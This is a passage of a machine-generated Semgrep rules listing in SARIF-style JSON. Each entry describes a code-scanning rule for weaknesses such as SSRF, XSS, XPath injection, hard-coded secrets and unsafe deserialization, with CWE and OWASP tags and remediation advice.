[https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fdata_handling~2Finjection~2Fxpath)\n","text":"Detected input from a HTTPServletRequest going into a XPath evaluate or compile command. This could lead to xpath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Instead, thoroughly sanitize user input or use parameterized xpath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","id":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","name":"java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request.tainted-xpath-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"help":{"markdown":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `secure` not set. It ensures the browser only sends the cookie over HTTPS."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-secure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","id":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","name":"python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-aiohttp.tainted-django-http-request-aiohttp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","id":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","name":"rust.secrets.reqwest.hardcoded-auth.hardcoded-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-auth.hardcoded-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"help":{"markdown":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data)\n - [https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations](https://wiki.sei.cmu.edu/confluence/display/c/DCL30-C.+Declare+objects+with+appropriate+storage+durations)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime](https://wiki.sei.cmu.edu/confluence/display/cplusplus/EXP54-CPP.+Do+not+access+an+object+outside+of+its+lifetime)\n","text":"`$FUNC` returns a pointer to the memory owned by `$VAR`. This pointer is invalid after `$VAR` goes out of scope, which can trigger a use after free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.containers.std-return-data.std-return-data","id":"cpp.lang.security.containers.std-return-data.std-return-data","name":"cpp.lang.security.containers.std-return-data.std-return-data","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.containers.std-return-data.std-return-data"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"PayPal Braintree Access Token detected"},"help":{"markdown":"PayPal Braintree Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"PayPal Braintree Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","id":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","name":"generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-paypal-braintree-access-token.detected-paypal-braintree-access-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","id":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","name":"python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-boto3.tainted-flask-http-request-boto3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"help":{"markdown":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage)\n - [https://github.com/mmckegg/notevil](https://github.com/mmckegg/notevil)\n","text":"Detected usage of the `notevil` package, which is unmaintained and has vulnerabilities. Using any sort of `eval()` functionality can be very dangerous, but if you must, the `eval` package is an up to date alternative. Be sure that only trusted input reaches an `eval()` function."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","id":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","name":"javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-detect-notevil-usage.express-detect-notevil-usage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure S3 bucket object is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","id":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","name":"terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-s3-bucket-object-encrypted-with-cmk.aws-s3-bucket-object-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"help":{"markdown":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle)\n - [https://capec.mitre.org/data/definitions/463.html](https://capec.mitre.org/data/definitions/463.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n - [https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY](https://find-sec-bugs.github.io/bugs.htm#CIPHER_INTEGRITY)\n","text":"Using CBC with PKCS5Padding is susceptible to padding oracle attacks. A malicious actor could discern the difference between plaintext with valid or invalid padding. Further, CBC mode does not include any integrity checks. Use 'AES/GCM/NoPadding' instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","id":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","name":"java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cbc-padding-oracle.cbc-padding-oracle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","id":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","name":"go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.xss.gorilla-no-direct-write-to-responsewriter-traint.gorilla-no-direct-write-to-responsewriter-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"help":{"markdown":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Untrusted user input in `importlib.import_module()` function allows an attacker to load arbitrary code. Avoid dynamic values in `importlib.import_module()` or use a whitelist to prevent running untrusted code."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.non-literal-import.non-literal-import","id":"python.lang.security.audit.non-literal-import.non-literal-import","name":"python.lang.security.audit.non-literal-import.non-literal-import","properties":{"precision":"very-high","tags":["CWE-706: Use of Incorrectly-Resolved Name or Reference","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.non-literal-import.non-literal-import"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"help":{"markdown":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING)\n - [https://bento.dev/checks/flask/avoid-hardcoded-config/](https://bento.dev/checks/flask/avoid-hardcoded-config/)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#builtin-configuration-values)\n - [https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features](https://flask.palletsprojects.com/en/1.1.x/config/?highlight=configuration#environment-and-debug-features)\n","text":"Hardcoded variable `TESTING` detected. Use environment variables or config files instead"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","id":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","name":"python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.hardcoded-config.avoid_hardcoded_config_TESTING"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"S3 bucket with public read access detected."},"help":{"markdown":"S3 bucket with public read access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","id":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","name":"terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-read-bucket.s3-public-read-bucket"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"help":{"markdown":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"Application redirects to a destination URL specified by a user-supplied parameter that is not validated. This could direct users to malicious locations. Consider using an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","id":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","name":"java.lang.security.audit.unvalidated-redirect.unvalidated-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.unvalidated-redirect.unvalidated-redirect"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","id":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","name":"python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi-relationship.sqlalchemy-fastapi-relationship"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request)\n - [https://kong.github.io/unirest-java/#requests](https://kong.github.io/unirest-java/#requests)\n","text":"Checks for requests sent via Unirest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.unirest-http-request.unirest-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","id":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","name":"scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: scala.scala-jwt.security.jwt-hardcode.scala-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"help":{"markdown":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization)\n - [https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038](https://swapneildash.medium.com/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)\n - [https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)\n - [https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)\n","text":"When using Jackson to marshall/unmarshall JSON to Java objects, enabling default typing is dangerous and can lead to RCE. If an attacker can control `$JSON` it might be possible to provide a malicious JSON which can be used to exploit unsecure deserialization. In order to prevent this issue, avoid to enable default typing (globally or by using \"Per-class\" annotations) and avoid using `Object` and other dangerous types for member variable declaration which creating classes for Jackson based deserialization."},"helpUri":"https://semgrep.dev/r/java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","id":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","name":"java.lang.security.jackson-unsafe-deserialization.jackson-unsafe-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A8:2017 Insecure Deserialization","OWASP-A8:2021 Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 